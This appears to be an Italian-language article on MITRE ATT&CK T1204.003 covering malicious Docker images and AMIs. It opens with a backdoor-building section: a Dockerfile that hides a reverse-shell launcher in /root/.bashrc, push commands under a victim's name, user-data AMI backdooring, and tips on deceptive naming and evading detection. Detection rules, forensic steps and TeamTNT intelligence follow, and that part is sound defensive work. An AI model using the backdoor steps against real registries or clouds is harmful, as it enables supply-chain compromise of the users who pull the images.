Immagini Malevole: User Execution - Malicious Image (T1204.003)

Costruire una Docker image backdoor richiede pochi passaggi ma grande attenzione ai dettagli per evitare detection. Partiamo da un'immagine base legittima e aggiungiamo il nostro payload mantenendo funzionalità apparentemente normali.

Creiamo un Dockerfile che nasconde un reverse shell Python:

FROM ubuntu:20.04
RUN apt-get update && apt-get install -y python3 netcat
COPY app.py /opt/
RUN echo "python3 /opt/backdoor.py &" >> /root/.bashrc
CMD ["/bin/bash"]

Il payload può essere mascherato come servizio legittimo. Ad esempio, un finto health-check che in realtà stabilisce connessione C2:

docker build -t mycompany/webapp:latest . docker tag mycompany/webapp:latest victim/webapp:v1.2.3 docker push victim/webapp:v1.2.3

Per AWS AMI, l'approccio richiede modifica di un'immagine esistente. Lanciamo un'istanza da AMI pulita, installiamo la backdoor e creiamo nuova AMI:

aws ec2 run-instances --image-id ami-legitimate --user-data file://backdoor.sh aws ec2 create-image --instance-id i-malicious --name "Ubuntu-20.04-optimized"

Lo user-data script può contenere download e esecuzione di payload remoti, mantenendo apparenza di normale bootstrap. Il naming è cruciale: nomi come "official-ubuntu-hardened" o "company-base-image-v2" aumentano drasticamente le chance di deployment.

Per Kubernetes, l'attacco sfrutta namespace permissivi o registry mal configurati. Un pod spec apparentemente innocuo può nascondere container sidecar malevoli che si attivano solo dopo determinati trigger temporali o di rete.

La detection di immagini malevole richiede correlazione multi-livello tra eventi di pull, creazione container e comportamento runtime anomalo. Il timing è fondamentale: la maggior parte delle backdoor si attiva entro 15 minuti dal deployment.

Monitorate questi pattern chiave nei log containerd e Kubernetes audit:

• Pull da registry non whitelisted seguito da immediata creazione container
• Esecuzione di binari sospetti (curl, wget, nc, python) in container applicativi
• Connessioni outbound verso IP/domini non correlati al workload

Una regola SIEM efficace correla questi eventi: image.pull.registry NOT IN approved_list AND container.start.image_digest = image.pull.digest AND (process.name IN ["curl","wget","bash"] OR network.destination.ip NOT IN workload_whitelist) WITHIN 15m

Per ambienti cloud, focalizzatevi su istanze lanciate da AMI non catalogate o con owner sconosciuti. CloudTrail e Azure Activity logs rivelano pattern sospetti quando correlati con Sysmon in-guest:

RunInstances con ImageId nuovo → Instance Start → Sysmon ProcessCreate con CommandLine contenente download/exec entro 30 minuti

I falsi positivi derivano principalmente da sviluppatori che testano immagini custom o CI/CD pipeline che buildano container temporanei. Implementate eccezioni basate su tag specifici o namespace dedicati per ridurre il rumore mantenendo coverage sui sistemi production critici.

L'analisi forense di un'immagine malevola inizia dall'identificazione del layer Docker o snapshot AMI contenente il payload. Ogni modifica lascia tracce nel filesystem che permettono ricostruzione precisa della compromise chain.

Per container Docker, estraete e analizzate i layer con docker save seguito da tar extraction. Cercate modifiche sospette in:

• /root/.bashrc o /etc/profile.d/ per persistence
• /opt, /tmp, /var/tmp per payload droppati
• Metadata JSON per ENTRYPOINT/CMD alterati

Il timestamp dei layer rivela quando l'attaccante ha modificato l'immagine originale. Correlate con i log del registry per identificare il primo push dell'immagine compromessa e tutti i successivi pull da parte delle vittime.

Su istanze cloud, l'user-data script è spesso il vettore iniziale. AWS Instance Metadata Service registra lo script eseguito al boot: curl http://169.254.169.254/latest/user-data

La timeline si costruisce correlando:

1. Creazione/modifica AMI (CloudTrail CreateImage)
2. Launch di istanze dall'AMI malevola (RunInstances)
3. Esecuzione user-data (cloud-init logs)
4. Attività post-compromise (auth.log, sysmon, network flows)

Particolare attenzione va posta ai cryptominer che cancellano tracce dopo l'esecuzione. Process memory dumps catturati rapidamente dopo il boot possono contenere artifacts di staging scripts già rimossi dal filesystem.

TeamTNT rappresenta l'esempio paradigmatico di gruppo specializzato in cloud e container compromise attraverso immagini malevole. Il loro modus operandi rivela pattern ricorrenti utili per attribution e prevenzione.

Il gruppo targetta specificamente ambienti Docker mal configurati e Kubernetes cluster esposti. Le loro immagini malevole contengono tipicamente:

• Cryptominer Monero (XMRig)
• Scanner per identificare altri Docker daemon esposti
• Credenziali AWS/Azure estratte da metadata service
• Worm component per propagazione laterale

TeamTNT mostra preferenza geografica per infrastrutture in US-East e EU-West, probabilmente per la densità di target cloud. I loro container utilizzano naming patterns che mimano immagini popolari: alpine-utils, ubuntu-dev, nginx-optimized.

L'evoluzione delle loro tecniche suggerisce prossimi vettori probabili:

• Compromise di registry privati per distribution su larga scala
• Supply chain attacks su base images popolari
• Integrazione con Initial Access Broker per vendita di accessi

Il trend verso serverless e microservizi amplifica la superficie d'attacco. Monitorate repository GitHub/GitLab per Dockerfile contenenti download di binari da domini appena registrati o shortener URL - spesso precursori di nuove campagne.

L'overlap di TTP con altri gruppi cloud-focused come Rocke e 8220 Gang suggerisce possibili collaborazioni o condivisione di toolset nel cybercrime ecosystem.

Tecnica documentata nel MITRE ATT&CK framework con focus su cloud e container compromise. Riferimenti alle attività di TeamTNT derivano da threat intelligence report di Trend Micro e Palo Alto Networks. Detection signatures basate su telemetry analysis di ambienti Docker e Kubernetes enterprise.